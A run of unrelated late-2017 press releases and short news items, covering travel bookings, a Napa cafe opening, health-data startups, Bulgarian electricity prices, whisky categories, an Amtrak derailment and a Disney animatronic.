Backroads, the Worlds Leading Active Travel company, today announced that as 2017 winds down and 2018 vacation-planning amps up, early booking trends show a significant uptick in interest in European offerings, including the ever-popular Croatia and Iceland departures. Destinations across the pond in Scotland and England have also seen an increase in sales, as have adventures in Portugal, and the companys brand-new Iceland Northern Lights Multi-Adventure Tour. Overall, Backroads long-standing signature trips to European destinations with Premiere Hotels are also seeing continued growth with guests, as are active small-ship Ocean and River Cruise tours.



Backroads has reacted to surging sales during non-traditional travel periods as guests take advantage of lower airfare, smaller crowds and good weather. Offering even more departures during the off-season has led to steady sales throughout the year with less variance during summer and winter holiday travel periods. The new norm of consistent year-round travel opens up the possibility of delivering even more exciting adventures in busy destinations, an initiative that has been greatly received among guests who have increasingly flexible travel schedules.

Additionally, on the rise are guests looking to travel with their own private group by taking over an already established Backroads trip date, creating their own private departure, or designing a customized trip that is perfect for their individual travel interests. Backroads Private and Custom Trips are a great way to see the world at whatever pace, style and size fits each unique group. Flexibility is also key, whether the group is just 2 guests or more than 200. Backroads has a dedicated team of Custom Trip Consultants who work with guests to create their perfect trip with a personalized itinerary.

2018 is looking to be a great year for adventure travel whether our guests want to maximize their dollars in Europe, or try out one of our popular active river cruises, said Backroads Founder and President Tom Hale. Were happy to see the bell curve travel trend flatten out with more of our guests enjoying the historically less crowded months. We have the flexibility to offer additional departures during these periods and we will scale up to meet demand as needed.

Backroads Trending Top Trip Sellers in 2018



Iceland Northern Lights Multi-Adventure Tour

Portugal Bike Tour

Scotland Walking & Hiking Tour

Patagonia Walking & Hiking Tour

Other Early Backroads Booking Trends in 2018



Family Walking & Hiking Trip segment

Family Trips in Europe

Canadian Rockies all trip types

Active Ocean & River Cruise Trips

Backroads early booking trends indicate that guests are taking advantage of the companys new offerings and planning their 2018 travel earlier to lock in the best pricing, dates and destinations.

ABOUT BACKROADS

Backroads was founded in 1979 by Tom Hale and has been in business for more than 38 years. The company hosts thousands of guests each year, 75% of whom are repeat guests or referrals from past guests, in hundreds of locations across the globe. Backroads is a founding member of the Adventure Collection. For more information, please visit backroads.com or call 800-462-2848 daily, 6 a.m. to 6 p.m., Pacific time.
Start a social enterprise in Africa to empower youth; not another non-profit.

Taa Wongbe, Liberian Entrepreneur, Advocate, and Philanthropist, in a recent interview on the Ten Thousand Africans podcast, shared his expert advice for Africans and those who work in Africa: do not start another non-profit  start a social enterprise.

Speaking on the Ten Thousand Africans podcast, Taa shared that social enterprises are more impactful and sustainable, and the youth of Africa is the best investment for the future of Africa. He advised that those coming to Africa should consider the social enterprise path instead of starting another non-profit.

Having experienced the devastation of the civil war and seeing and living in poverty, Taa developed a passion for development, especially empowering youth and women. After returning to Liberia, in 2007, for the first time since fleeing the country to become a refugee in Guinea, Cote DIvoire and then the United States several years later, he quickly discovered the gaps in development projects across Africa. While many programs were being implemented with great intentions, because they were funded and operated by Western actors, they lacked local context. These gaps led to program failure or limited impact.

Analyzing these gaps and building on his global experiences in a variety of businesses, including IT and management consulting, in 2008 he co-founded The Khana Group, with a focus on positively transforming and impacting lives by working with impact investors and development partners to develop sustainable solutions across Africa. The Khana Group achieves this by conducting research to inform programming decisions and developing strategies for social impact investors to achieve maximum impact. The Khana Group works with organizations such as the Acumen Fund, McKinsey, IFC, Gallup, Goldman Sachs, Dalberg, USAID, Coca-Cola, the World Bank and many others, who have challenges reaching the communities they work with.

After nine years of his business success collecting critical data in the most difficult to reach communities, Taas African born and raised company is able to tell the stories and inform policies and programs that change lives of people in Africa. The Khana Group now has offices in Liberia, Ghana, Nigeria and the United States, and has worked across 18 countries in Africa.

As CEO, Taa is responsible for all aspects of the firms strategy, corporate positioning, branding, business development, staffing and operations across all four offices, offering insights to entrepreneurs, investors, governments, and other stakeholders about the future of Africa, at the intersection of business and social impact. Taa sees a bright future for Africa, and calls upon the global community to invest in developing opportunities for youth through social enterprises to contribute to Africas development.
Southside Yountville at Stewart Cellars Southside Yountville owners, Morgan and Irma Robinson with Stewart Cellars co-proprietor Caroline Stewart Guthrie and Winemaker Blair Guthrie. "We are big fans of Southside and we are elated to bring their community-driven cafe and coffee bar to the city of Yountville and to our Stewart Cellars family, said Caroline Stewart Guthrie, co-proprietor of Stewart Cellars.

Stewart Cellars announced today that the popular Napa-based Southside Cafe has opened a second coffee house and eatery at the Stewart Cellars property in Yountville (located at 6752 Washington St.). Southside owners, Morgan and Irma Robinson, will continue to serve real California cuisine with a Latin influence from the new Southside Yountville at Stewart Cellars. The new cafe will be similar to their Napa location with exciting new additions and grab and go options. In addition, the Robinsons and their catering company, SMOKE Open Fire Cooking, have partnered with the Stewart Family to host custom food and wine pairings and events on the Stewart Cellars property.

Stewart Cellars is an absolutely stunning property with a laid back, yet luxurious vibe, said Irma Robinson, co-owner of Southside. We are very excited to partner with them on this endeavor.

Opened in May 2016, Southside Cafe is a popular destination for Napa Valley locals and visitors, alike. Southside Yountville at Stewart Cellars is now open 7 days a week from 8 a.m. - 3 p.m., serving breakfast, lunch and to-go cafe items. A few of the breakfast menu items include breakfast sandwiches with shishito peppers and chipotle crema, strawberry or caramelized apple toasts, avocado toast, house made granola, superfood breakfast bowls, and biscuits and gravy. Lunch menu items include an open-faced mushroom torta, Croque Senora, carne asada tortas, various heirloom salads, and entrees like the Southside protein bowl and albacore tostadas. The menu features a kids menu as well. Southside Yountville at Stewart Cellars will be housed at the front of the Stewart Cellars property where the Stewarts Gather Cafe used to sit.

We are big fans of Southside and we are elated to bring their community-driven cafe and coffee bar to the city of Yountville and to our Stewart Cellars family, said Caroline Stewart Guthrie, co-proprietor of Stewart Cellars. Morgan and Irma bring a local Napa Valley flavor that is perfectly suited for both dine-in and take-out options and we couldnt be happier to have them on board.

In addition, the Stewarts and the Robinsons will partner throughout the year to bring custom food and wine pairings, as well as events that will be custom catered by the Robinsons business, SMOKE. The NOMAD Heritage Library at Stewart Cellars is the perfect location to host private gatherings and wine tastings combined with the Robinsons inventive menus. A luxe wine tasting space with a bohemian vibe, the NOMAD library opens up to a private covered outdoor terrace with an oversize wood burning stove and views of the heritage oak tree. Stewart Cellars is a one-of-a-kind Napa Valley destination that was inspired by an ancient Scottish abbey, a nod to the Stewart family heritage. Set back from the main street in Yountville, the Stewart Cellars property emanates the look and feel of ancient stone buildings.

Stewart Cellars is located at 6752 Washington Street in Yountville, CA. Private tastings can be organized by phone at (707) 963-9160, via email at reservations(at)stewartcellars.com or online at http://www.stewartcellars.com.

Southside Yountville at Stewart Cellars

Location: Stewart Cellars, 6752 Washington Street Yountville, CA 94599

Phone number: 707-238-4632

Hours: 7 days a week, 8 a.m. - 3 p.m.

Website(s): http://www.southsidenapa.com + http://www.stewartcellars.com

Social Media: @SouthsideNapa + @StewartCellars

About Stewart Cellars

Founded in 2000, Stewart Cellars is the collaborative project of founder Michael Stewart, his son James Stewart, daughter Caroline Stewart Guthrie, and son-in-law Blair Guthrie. Together, the family oversees all aspects of the winerys operations: James, an artist who left behind a burgeoning career in television and music for hands-on work in sales, marketing and distribution; Caroline, who leads the day to day operations along with each wines development; and Blair, the winemaker who works closely alongside acclaimed consulting winemaker Paul Hobbs to capture the singular site signatures of Stewarts premier vineyard sources. Stewart Cellars produces eight wines including their flagship NOMAD Beckstoffer Las Piedras Cabernet Sauvignon, Sonoma Mountain Chardonnay, Sonoma Coast Pinot Noir, Napa Valley Merlot, Napa Valley Sauvignon Blanc, Napa Valley Rose, Napa Valley Tartan Red Blend and a Napa Valley Cabernet Sauvignon. Their new tasting room is located at 6752 Washington Street, Yountville, CA. For more information, please visit stewartcellars.com, on Facebook, Twitter and Instagram, @StewartCellars.

About Southside

Southside is a community-driven cafe and coffee bar serving real California cuisine. There are two locations in Napa and Yountville, CA and a third location coming in 2018. The cafe serves real California cuisine with a Latin influence using local ingredients and artisan food producers, all employing sustainable practices, to prepare inspired menu items and creating a truly unique experience for guests. Owners Morgan and Irma Robinson opened their Napa location in 2016 in an effort to bring their specialties from their much-beloved catering company SMOKE Open Fire Cooking to the public. Morgan has more than 25 years of experience as a classically trained chef in restaurants & wineries such as The Ritz Carlton/Aspen, Bistro Don Giovanni, Domaine Chandon, Cakebread Wine Cellars and Franciscan Estates, among others. Irma manages marketing and events for Southside. Prior to launching Southside, she has held marketing and management positions with wineries including Domaine Chandon, Darioush, Quintessa and others. Through a shared passion of cuisine and travel, Irma and Morgan started Southside and SMOKE to compliment their lifestyle after traveling to Europe and South America. Southside Carneros is located at 2770 Old Sonoma Road in Napa, CA. They are open 7 days/week. Mon-Fri 7am-3pm, Sat-Sun 8am-3pm. Southside Yountville is located at 6752 Washington Street in Yountville, CA. They are open 7 days/week from 8am-3pm. For more information, please visit southsidenapa.com, on Facebook, Twitter and Instagram, @southsidenapa.

About SMOKE Open Fire Cooking

SMOKE crafts food inspired by the passion for open-fire cooking. From small plates to family-style affairs and elegant coursed meals, SMOKE creates unforgettable experiences and exceptional food. Everything is prepared onsite and many dishes are cooked over an open flame, highlighting the ingredients' authentic flavors from the Mediterranean roots of rotisserie, grilling and open-hearth cooking. The SMOKE team is made up of experienced hospitality professionals. They are a passionate group of food & wine enthusiasts, who understand all aspects of front and back of house in order to execute a flawless event. The dedicated team works together as a unit to create an unforgettable experience for each client they work with. For more information, please visit smokeopenfire.com, on Facebook, Twitter and Instagram, @smokeopenfire.
Theres a gap between the episode of care and the day-to-day health experience that every person has. Data from sensors and apps, shared safely, will bridge that gap.

Zansors labs has built the cloud components to allow sensors and apps to send data to medical institutions using the Direct standard, in compliance with Meaningful Use requirements. This ensures that patients using Zansors tools have a secure way to send their personal health data to their healthcare team.

Zansors infrastructure will help patients send data from evidence based apps, through a secure cloud-based channel, to clinicians via a health systems Electronic Health Record (EHR). This patient-collected health data will be invaluable for physicians because it is collected close to real-time and interpreted in an evidence-based environment.

In a world of data breaches, protecting patient privacy is critical, said Dr. Abhijit Dasgupta, Co-Founder and Chief Data Scientist at Zansors. Were developing a safe infrastructure for patients to share their data. Both clinicians and patients will have a more efficient, secure and consistent experience.

Zansors sensors and apps are designed to collect evidence-based data based on biometrics, from sleep breathing to heart rate and more. Increasingly, patients are using devices that track their vitals, and they want to be able to share this data with their doctor. Likewise, health providers want to advance their efforts in telemedicine to improve quality of care.

When patient-collected data can be easily sent to medical institutions, we will unlock an aspect of care that has always been in the blind spot for clinicians, said Nicole Stout, DPT, VP of Medical Affairs at Zansors. Theres a gap between the episode of care and the day-to-day health experience that every person has. Data from sensors and apps, shared safely, will bridge that gap.

With this cloud-based infrastructure in place, Zansors creates interoperability to bridge patient-generated data to health systems. Zansors can transmit data from any system in the Zansors network, to any other Direct server.

About Zansors

Zansors is a Washington, DC metro-based healthcare innovation company delivering Personal Healthcare Analytics into the hands of consumers via wearable bio-sensors and health apps. Driven by our credo of know yourself, Zansors combines evidence-based apps, bioengineering and data analytics, allowing consumers to take charge of their health. Our proprietary biotechnology platform includes micro-sensors and micro-fluidics (also known as lab-on-a-chip) backed by a strong portfolio of patents filed. Zansors has previously received 6 funding awards from NIH and has formal partnerships with the University of Michigan and George Washington University.
EpiFruit founders, Rohan Duggal and Buland Madan, have both worked in various aspects of retail and ownership in New York City during the last 10 years. As small local business owners, they know that a big task pertaining to functioning in NYC is being able to maintain and grow efficient deliveries, particularly when it comes to cost and affordability.

Rohan and Buland view smaller mom and pop shops as the intricacies that make New York City life worth living; thats why they created EpiFruit to provide businesses with diverse needs with options pertaining to who delivers their product, and at what price. The apps open transparency and market bidding platform allow for both the business and the courier to thrive.

Heres How It Works:

When a business receives an order through their store or a third party channel, they can use EpiFruit to find a courier who will facilitate the delivery process by hand-delivering the product directly from the business to the consumer.

Using the EpiFruit app, business owners describe what their delivery will entail by creating a job on the business portal and inputting the product, date, and pick up/drop-off locations. Retailers can then decide to enter an amount that they feel comfortable paying for the job (minimum/maximum), or they can select the suggestion button to provide them with the approximated worth of their delivery.

When all of the delivery details are confirmed by the retailer, drivers within a 20-block radius can begin to bid on the job. The business owner will then be able to select his or her driver from the list of background-verified couriers and can toggle through the bids by cost, location, ratings and how long the driver has been delivering with EpiFruit.

After a courier selection is made, the card on file is charged. The business will pay the driver bid amount that they selected plus a 15% service fee for use of the platform. (e.g., If the business accepts a driver bid of $5, the business will pay $5.75.)

When the item is picked up by the driver, the business owner can then use the EpiFruit app to monitor and track the delivery in real-time. He or she can also communicate directly with the courier. When the driver successfully reaches the destination and the job is complete, the retailer will receive delivery confirmation in the form of an e-signature.

EpiFruit has officially launched for iOS and Android devices and is available for download on both Apple and Google Play stores. The app is currently available in Washington Heights and has plans of expanding to the rest of the Tri-State Area within the next 2 years.
I'm thrilled to participate as a member of the Board of Directors, and look forward to Lessonly's continued success and industry impact."  Claudia Reuter

Lessonly, the leader in online training software, today announced the addition of Claudia Reuter to their Board of Directors. Reuter is currently a Senior Vice President at Houghton Mifflin Harcourt and brings a wealth of technology, product, and corporate innovation experience to the rapidly growing tech company.

Reuter is a recognized thought leader in education technology and corporate innovation. Her work earned her recognition as one of the "2016 Women to Watch in Science and Technology" from the Boston Business Journal and as a "Changemaker" from HUBWeek, a program founded by Harvard, MIT, Mass General, and the BostonGlobe.

Earlier this year, we partnered with the Athena Alliance to find a woman with a product-leadership background to join our board, said Max Yoder, CEO at Lessonly. They introduced us to so many great candidates, but Claudia rose to the top as an ideal fit. We are already benefiting from the fresh perspectives she brings to the Lessonly team.

Last month, Lessonly celebrated an $8M Series B fundraising round, led by OpenView, with the expressed goal of investing in product innovation and scaling operations. Reuters unique experience in both of these areas makes her the perfect fit to advise Lessonly on their next stage of growth.

Prior to her leadership role at Houghton Mifflin Harcourt, Reuter co-founded and served as CEO of SchoolChapters, an education SaaS company. Reuter led the company through two rounds of funding and an acquisition. She is also an active speaker in the Boston tech community, having spoken at Harvard, MIT, Boston University, and multiple corporate innovation summits.

"With a unique, learner-first mission, and an elegant software platform, Max and the Lessonly team have empowered companies to deliver on their goals of continuous improvement, commented Reuter. I'm thrilled to participate as a member of the Board of Directors, and look forward to Lessonly's continued success and industry impact."

Reuter joins Scott Dorsey, Mike Fitzgerald, Ricky Pelletier, and Max Yoder on the companys board. Lessonly continues to add other personnel to their team as part of their targeted growth initiatives. Openings can be found on Lessonly's website.

About Lessonly

Lessonly is powerfully simple training software used by over a million learners at more than 500 companies to translate important work knowledge into lessons that accelerate productivity. Sales teams across the world use Lessonly to reinforce best practices, accelerate rep performance, and close more deals. Support teams across the world use Lessonly to serve customers faster, drive consistent support, and elevate the customer experience. Learn more at Lessonly.com.

About Athena Alliance

Athena Alliance is a national nonprofit organization dedicated to advancing gender diversity in the boardroom by extending board networks across a range of industries and executives. Empowering women to contribute at their highest level of impact, Athena Alliance has a network of more than 800 C-level women, venture capitalists and CEOs from more than 100 companies. Sponsors include Accenture, Autodesk, Intuit, OpenView Venture Partners, and others. Founded in 2016, Athena Alliance is headquartered in Half Moon Bay, Calif. For more information, visit http://athenaalliance.org.
ChenMed Logo Concierge care should not be limited to those with the deepest pockets.

Today, ChenMed, an innovative senior health care provider, announced that it will add a new board member and enter new markets in 2018, after a year of significant momentum in which the company opened new senior medical centers, added new patients, and expanded its Board of Directors. ChenMed is a full-risk Medicare Advantage provider operating more than 40 practices across 10 markets in six states.

This year, ChenMed opened five new senior medical centers in Florida (Clearwater, Tampa, St. Petersburg), Louisiana (Metairie) and Virginia (Portsmouth). In 2018, ChenMed plans to expand operations in all current markets, plus open centers in four new cities. ChenMed senior medical centers provide access to high-quality, concierge-style care for some of the neediest patients. ChenMed focuses on preventative care and services including courtesy transportation, on-site specialists and medication dispensing, and, importantly, more face-to-face time with physicians.

Concierge care should not be limited to those with the deepest pockets. At ChenMed, we have found that if we provide some of the neediest patients with high-touch, primary care we can keep them healthier, reduce their hospital days, and lower their costs, said Chris Chen, MD, CEO of ChenMed. In 2017, we experienced great success with this model, and, as a result, we were able to help more seniors have more healthy days.

ChenMed also expanded its Board of Directors this year, adding two new members: Horst Shulze and Herbert Fritch. Schulze was the founding president and former COO of the Ritz-Carlton Group and currently serves as CEO of Capella Hotel Group. Fritch founded HealthSpring and helped the company grow into one of the nations largest Medicare Advantage plans before being acquired by Cigna.

In 2018, ChenMed will further strengthen its Board, adding Jeffrey Kang, MD, who served as ChenMed president (2015-2017), helping advance ChenMeds strategic plan and its mission to bring better health care and superior health outcomes to seniors. Kang is an experienced physician executive with a diverse background ranging from running a full risk physician practice in Boston, to Chief Clinical Officer at the Centers for Medicare and Medicaid Services (CMS) to Chief Medical Officer at Cigna, to senior vice president of Walgreens health and wellness services and solutions division. He also serves on the Board of Directors of the National Committee for Quality Assurance (NCQA).

As president of ChenMed, Ive seen the power that this model has to transform health care for patients who need it most, said Kang. Im quite honored to join the board and continue our great work to provide high-quality, value-based care to seniors across the country.

We are so grateful to Jeff for his continued service  especially as ChenMed works to become Americas leading primary care provider, transforming care of the neediest populations, added Dr. Chen.

ChenMeds model of high-touch care has proven to drive successful patient outcomes. A recent report released by ChenMed showed that its doctors spend 189 minutes face-to-face with each patient annually  more than nine times the national average. As a result, ChenMed rates of ER visits are 33.6 percent lower than the national average among Medicare beneficiaries. ChenMed patients also average 28 percent fewer hospital admissions and 25 percent fewer in-patient days than the average Medicare beneficiary.

About ChenMed

For seniors most in need of care, high-quality health care is too often beyond reach. ChenMed was founded to bring concierge-style medicine  and better health outcomes  to the neediest populations. ChenMed serves seniors with low-to-moderate incomes, most managing multiple chronic conditions, in 10 U.S. markets through more than 40 senior medical centers.

ChenMeds mission is to honor seniors with affordable VIP care that delivers better health. To do that, ChenMed relies on innovative technology and a talented, resourceful and compassionate team of providers.

Founded by Dr. James Chen, a Taiwanese immigrant and cancer survivor, the company sees patients enrolled in Medicare Advantage in Florida, Georgia, Illinois, Louisiana, Kentucky, and Virginia  and is rapidly growing. Its well-known brands include Chen Senior Medical Center, Dedicated Senior Medical Center, and JenCare Senior Medical Center.

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We are excited to strengthen our national partnership with NHA and support their efforts to build education facilities in North Carolina, said Paul Sullivan, Gilbane Building Company.

Gilbane Building Company, a leader in construction of k-12 education facilities, celebrated the groundbreaking of the new Rolesville Charter Academy in North Carolina. National Heritage Academies led the official ceremony and was attended by Rolesville Charter Academy school board, the newly appointed Principal, the Town of Rolesville mayor as well as members of the Rolesville Town Chamber.

We are excited to strengthen our national partnership with NHA and support their efforts to build education facilities in North Carolina, said Paul Sullivan, Gilbane Building Company vice president and North Carolina business unit leader.

Gilbane will be providing construction management at-risk services for the new 44,000-square-foot, single-story building. The new school will include classrooms for kindergarten through eighth grade, a central gymnasium and faculty/administrative spaces. Situated on a nine-acre greenfield parcel, construction will include on-site civil development as well as offsite highway and road improvements for student drop-off traffic.

Project completion of the new school will be Fall of 2018 in anticipation of the 2018/2019 school year.

About Gilbane Building Company

Gilbane provides a full slate of construction and facilities-related services  from pre-construction planning and integrated consulting capabilities to comprehensive construction management, close-out and facility management services  for clients across various markets. Founded in 1873 and still a privately held, family-owned company, Gilbane has 48 office locations around the world. For more information, visit http://www.gilbaneco.com.

About Rolesville Charter Academy

Rolesville Charter Academy is a free, public charter school that will serve students in grades kindergarten through sixth for the 2018-19 school year. The school will add one grade level per year until a full K-8 school is established.

Learn more about Rolesville Charter Academy online at rolesvillecharteracademy.org, on Twitter at twitter.com/rolesvilleCA, or on Facebook at facebook.com/RolesvilleCharterAcademy.
Okuma America Corporation

Okuma America Corporation, a world leader in CNC machine tool manufacturing, hosted several hundred machine tool users from more than 250 companies at their 2018 Winter Showcase, December 5-6 in Charlotte, North Carolina. To view event highlights, please visit https://youtu.be/x4NpaD4GwGg.

Participants viewed cutting demonstrations on 26 machines and custom demos that featured complete manufacturing solutions from Partners in THINC members  all contributing to increased efficiency and productivity. They also toured Okuma headquarters to see the Aerospace Center for Excellence, spindle exchange and board repair.

Winter Showcase Highlights:



Okumas New Additive Technology: The debut of the MU-8000V LASER EX super multitasking machine, featuring state-of-the-art laser technology that combines subtractive and additive manufacturing.

GENOS M460V-5AX: The debut of the new affordable excellence 5-axis VMC.

Complete Manufacturing Solutions: Partners in THINC custom demos featuring cost reduction for part production, data analysis, collaborative robotics, OSP control functionality, and the power of Okumas horizontal machining centers. The demos showed how shops can take advantage of the endless manufacturing possibilities enabled by Okuma machine tool technologies.

For more information on Okumas machine tool lineup visit http://www.okuma.com/cnc-machine-tool-lineup.

About Okuma America Corporation

Okuma America Corporation is the U.S.-based sales and service affiliate of Okuma Corporation, a world leader in CNC (computer numeric control) machine tools, founded in 1898 in Nagoya, Japan. The company is the industrys only single-source provider, with the CNC machine, drive, motors, encoders, and spindle all manufactured by Okuma. The company also designs their own CNC controls to integrate seamlessly with each machine tools functionality. In 2014 Okuma launched the Okuma App Store, the industrys only centralized online marketplace for machine tool apps and related content. Along with its extensive distribution network (largest in the Americas), and Partners in THINC, Okuma is committed to helping users gain competitive advantage through the open possibilities of machine tools, today and into the future. For more information, visit http://www.okuma.com/americas or follow us on Facebook or Twitter @OkumaAmerica.
EagleViews ability to get the full picture very quickly allows insurance companies to respond to claims more safely and swiftly, ultimately helping families get back in their homes faster and contributing to the broader recovery of the community.

Eagle View Technologies ("EagleView"), the leading provider of aerial imagery and property data analytics for government and private-sector organizations, is capturing high-resolution aerial imagery of the destruction from the California wildfires. EagleView is providing its insurance customers with all of the images at no additional cost in an effort to help with the recovery process.

EagleView is currently flying over the Lilac wildfire in California and will continue to do so bi-weekly, as conditions allow, until the fires are resolved. Insurance carriers can compare this current imagery with existing historical imagery that EagleView has captured in San Diego county over the last 12 months.

The images will be available for free to EagleViews insurance customers on its web-based CONNECTExplorer platform. This access will enable insurance carriers to view the latest imagery and better identify and respond to areas of severe need.

These catastrophic events are absolutely devastating to families and entire communities, said EagleView CEO Rishi Daga. EagleViews ability to get the full picture very quickly allows insurance companies to respond to claims more safely and swiftly, ultimately helping families get back in their homes faster and contributing to the broader recovery of the community.

EagleViews rapid-response approach to catastrophic events leverages the fleet of more than 120 fixed-wing aircraft at the businesss disposal. Using patented camera systems, EagleView captures its Pictometry aerial imagery from a top-down (orthogonal) perspective as well as from an oblique angle, also known as a birds-eye view.

In 2017, EagleView began implementing advanced machine learning technology to gather and analyze important data quickly. This technology helps EagleView identify areas with severe property damage to enable triage of insurance claims.

This year, EagleView also introduced FireAI, a new technology providing rapid and accurate property data to insurance claims adjusters during and after the California wildfires. FireAI combines pre-event aerial imagery in conjunction with post-event satellite imagery and artificial intelligence to deliver updated damage score files to adjusters within days of the fires starting. Insurance carriers then receive timely insight into the extent of the damage each structure has undergone, making remote assessment a possibility while evacuation orders are still in place and physical access is unfeasible.

Great partners are there for you in times of great need, and it is important to EagleView to support our partners and community when disaster strikes, said EagleView Chief Revenue Officer Rich Spring. We take on flying, capturing and sharing these images at no additional cost to our insurance carriers because we know that it will help the families and communities who are suffering from these devastating fires.

For more information on EagleView's deployment of aircraft, drones and other assets during the California wildfires, please contact Melissa Mazurek at (585) 444-2504 or melissa.mazurek(at)eagleview(dot)com.

About EagleView

EagleView is the leading provider of high-resolution aerial imagery, property data analytics and structural measurements for government agencies, insurance carriers, roofing contractors and energy utilities. Using patented image capture techniques, 3D aerial measurement software and machine learning processes, EagleView helps customers answer questions related to millions of properties throughout the world. With a four-petabyte library of oblique and orthogonal Pictometry aerial imagery dating back to 2001 and the capacity to process tens of thousands of roof measurement reports per day, EagleView enables organizations to reduce field visits and adopt faster, safer and more cost-effective workflows. For more information, contact (866) 659-8439 or visit http://www.eagleview.com.

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News

From Bulgaria

Electricity Market Turmoil: Rising Prices and Doubts of Market Manipulation and Abuse

AUTHOR: publics.bg



 pexels.com



In a letter by the Free Energy Market Association (ASEP) to Prime Minister Boyko Borissov it says that a long-term supply deficit by state electricity producers has been created, which led to the inability to supply end customers. As a result, part of electricity suppliers have withdrawn from the market, others have been suspended, and still others have started to renegotiate existing contracts. Consumers also reacted to the drastic increase of the price of electricity, which poses a threat to their economic welfare, and took a stand against it.

In addition, the association points to the changes in the Energy Act from 13 December which, according to it, have happened without any public consultations. Under the changes, all producers with capacity above 5 MW are obliged to conclude their transactions exclusively on the energy exchange in Bulgaria from 1 January 2018. Given the dominant position of the producers in the structure of BEH, electricity supplies can be guaranteed only by the state producers, ASEP adds.

A day before, the Bulgarian Federation of Industrial Energy Consumers (BFIEC) announced that it wants an emergency meeting with the PM after industrial consumers started receiving letters by electricity suppliers about an increase of prices of 50-90% starting from next year. The Chairman of the Board of Directors of ASEP, Sonia Kadieva, commented for publics.bg that the percentages could be in this range only if the prices are compared to the ones in March 2016.

Another organisation  the Association of Traders with Electricity in Bulgaria (ATEB)  also commented the issue in an open letter to the media. Electricity is not a good that can be stored, it is produced and consumed in real time and traders cannot hide it. According to ATEB, a possible reason for the deficit is a lower production. As seen in the financial reports, the licensed traders have accumulated a total of over 70 million BGN loss. This means that they are not the reason for the rise in prices, but they took the hit from the increased prices rather than their clients.

The Chairperson of the Energy Committee at the parliament, Delyan Dobrev, called firms to buy their electric energy from the regulated market because of the private suppliers who raised their prices multiple times. Until 1 January 2018, few traders, who racketeer, blackmail, pressure business in Bulgaria, Dobrev explained. In his words, hundreds of thousands of companies suffer from those unfair traders. They were well known in the last twenty years, they were the same, not more than ten, and somehow they own the electricity on the free market, thus forcing firms on the brink of bankruptcy. Dobrev did not specify any names and clarified that he has a register of auctions by NPP Kozloduy, TPP Maritsa-East 2 and NEC which shows which suppliers buy energy and at what price in the summer.

In a response to claims of electric power deficit and significant increase in the price of electricity the business, in a meeting with big industrial companies, the Minister of Energy, Temenuzhka Petkova said that state energy companies NPP Kozloduy, NEC EAD and TPP Maritsa-East 2 comply strictly with their obligations to ensure there is electricity on the free market. According to NEC data, 50 to 300 MW from the quantities supplied on the exchange are left unsold on a daily basis.

Few days later, unions and employers requested immediate action in order to calm the electricity market. In a position the Confederation of Independent Trade Unions of Bulgaria (CITUB), Confederation of Labour Podkrepa, Bulgarian Industrial Capital Association (BICA), Bulgarian Industrial Association (BIA), Confederation of Employers and Industrialists in Bulgaria (KRIB) they state that actions for the increase of the price of electricity are undertaken unjustifiably, without any connection to the realities in the sector, in a non-transparent and completely non-market oriented manner. The process has escalated dramatically in the last few days when traders wanted to terminate supply contracts or to one-sidedly impose prices which are 30 to 65% higher than the current ones, according to the announcement by the five organisations.

They warned that speculative and unfounded increase in the price of electric energy will lead to bankruptcy, permanent loss of jobs and freezing of income across many sectors and industries.
There's a lot to know when it comes to drinking whisky  particularly if you're taking part in

Whether it's deciding whether or not to have ice, what brand to buy, or simply knowing the difference between whisky and whiskey, there's a lot behind enjoying a glass of scotch, bourbon, or rye.

Business Insider spoke to Ewan Gunn, whisky master for the global drinks giant Diageo, which produces mass-market brands like Johnnie Walker and Haig Club.

We asked Gunn  who has 19 years' experience in the industry  to answer a simple question about a complicated nectar: What's the difference between scotch, bourbon, and rye?

Scotch by name, Scottish by nature

"Scotch whisky can only be made in Scotland," Gunn said. "You cannot make it anywhere else in the world."

He added: "One of the most beautiful things about scotch is it is tightly regulated and the most trusted. [There are] rules governing how you can and cannot make and sell scotch whisky  they're really rigorous.

Another whiskey expert, Tommy Tardie, owner and operator of Fine & Rare and The Flatiron Room, who spoke to Business Insider in January, added that it's no different to Champagne.

"If you're a Cognac, you have to be made in the Cognac region. If you're a Champagne, you have to be made in the Champagne region. It's no different for scotch," he said.

Bourbon in the USA

Bourbon and rye, meanwhile, are native American spirits.

Aside from the point of origin, what differentiates variants of whiskey  or whisky  is the "mash bill," or list of ingredients used to make it, according to Tardie.

"To be a bourbon, in America you have to be using 51% or more corn, [and] the rest of the mash bill is traditionally rye and malted barley," he said.

"To be a rye whiskey, you have to use 51% or more rye, and then the rest is usually corn and malted barley. In addition, both have to be aged in brand new American oak barrels."

While there's no set time period they have to spend in the barrel, to "call yourself a straight whiskey, you have to be aged a minimum of two years," Tardie said.

If it still seems confusing, Tardie said you should think of whiskey as a category, or "big umbrella," and underneath this umbrella, stands all of its variants. "In other words, all bourbon is whiskey but not all whiskey is bourbon," he said.

While they all have their own unique properties, Gunn believes that "no other spirit or whiskey offers the same range [as scotch.]"

Diageo alone has 28 single-malt scotch whisky distilleries, and there are over 100 within the industry, according to Gunn.

Single-malt scotch whisky is made at a single distillery, exclusively from malted barley, and must be aged for at least three years in oak casks. Some American single-malt whiskeys are produced from malted rye rather than malted barley.
An Amtrak train derailed Monday morning and sent several cars onto Interstate 5 in Washington state, killing multiple people. While the number of casualties has not been disclosed by authorities, the Associated Press has reported at least six people died while on the train.

The train was headed from Seattle to Portland, Oregon, and the accident happened before 8 a.m. after the train had left the Tacoma station. It was making its first trip on a newly opened route that had been the subject of local concern.

Though the cause of the derailment was not clear, the National Transportation Safety Board is set to begin an investigation into the accident.
The animatronic President Trump has arrived at the Hall of Presidents at Walt Disney World in Orlando, Florida  and like every American president since Bill Clinton, the robotic Trump has a speaking role.

"Above all, to be American is to be an optimist  to believe that we can always do better  and that the best days of our great nation are still ahead of us," says Trump, in part, according to the Orlando Sentinel. "Its a privilege to serve as the President of the United States, to stand here among so many great leaders of our past, and to work on behalf of the American people."

The Hall of Presidents is one of Disney World's oldest attractions, first opening in 1971. Visitors are treated to a short film on the history of the American presidency, followed by the grand reveal of exactingly-crafted audio-animatronic versions of every president to date. Lincoln, Washington, and the sitting president all deliver short speeches.

According to The New York Times, Trump "stands next to a seated Abraham Lincoln in the center of the stage with his signature hair, his suit jacket unbuttoned and his tie dangling extra low." While Disney hasn't yet released robo-Trump's full comments, you can watch a video preview of his appearance below.

FIRST LOOK: Donald Trump animatronic debuts in Hall of Presidents at Walt Disney World

Some fans who got an early look are sharing a closer look at the animatronic President Trump, as well:

Here#emo#s a few more pictures ... @ WDW News Today

